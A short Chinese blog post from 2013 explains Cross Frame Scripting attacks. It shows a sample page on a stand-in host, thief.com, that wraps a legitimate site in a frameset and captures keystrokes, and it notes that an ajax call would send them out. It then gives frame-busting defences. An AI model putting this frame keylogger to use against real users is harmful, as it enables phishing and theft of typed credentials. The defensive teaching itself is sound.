---
title: "XFS攻击一例"
author: "cuishen"
date: "2013-08-13T17:50:57Z"
tags: []
categories: ["企业架构"]
slug: "xfs"
draft: false
lastmod: "2013-08-13T17:50:57Z"
id: 1924097
url: "https://cuishen.iteye.com/blog/1924097"
---

XFS： Cross Frame Script (跨框架脚本) 攻击。

什么是XFS攻击，下面举一个例子：

Tom在QQ上发消息诱骗Jerry点击了下面的连接：

```java

http://thief.com

```

上面的连接返回了下面的html：

```html

<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
function alertKey(e) {
	alert("key press = '" + e.which + "'");
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%" onkeypress="alertKey(event);">
 <frame src="http://cuishen.iteye.com/" scrolling="auto">
</frameset>
</html>

```

对于Jerry来说，他以为自己在访问熟悉的网站，殊不知将输入的敏感信息暴露给了Tom （只要将上面alert 改成ajax call）。

魔高一尺，道高一丈，对于XFS攻击也有防御的办法。
主要算法是：

A. 对于确定你的网站没有使用frame的页面要打破frame （frame busting）

```js

        <style>
                html { visibility:hidden; }
        </style>
        <script>
                if( self == top){
                        document.documentElement.style.visibility='visible';
                }else{
                        top.location = self.location;
                }
        </script>

```

B. 对于有使用iframe 和frame的页面当心anti-busting，换做下面的脚本：

```js

if top <> self then
    if top.location.hostname <> self.location.hostname then
        top.location = "http://cuishen.iteye.com/"
    end if
end if

```


你的网站可能会毫不知情的被外面包裹一层frame，而变成了一个钓鱼网站，so... 请尽量避免在你的网站使用frame/iframe，并且应用frame busting脚本。

对于user来说，请升级到IE7以上浏览器，并设置：
Navigate sub-frames across different domains
set to "Prompt" or "Disable"， 这个将在浏览器层面防御XFS攻击。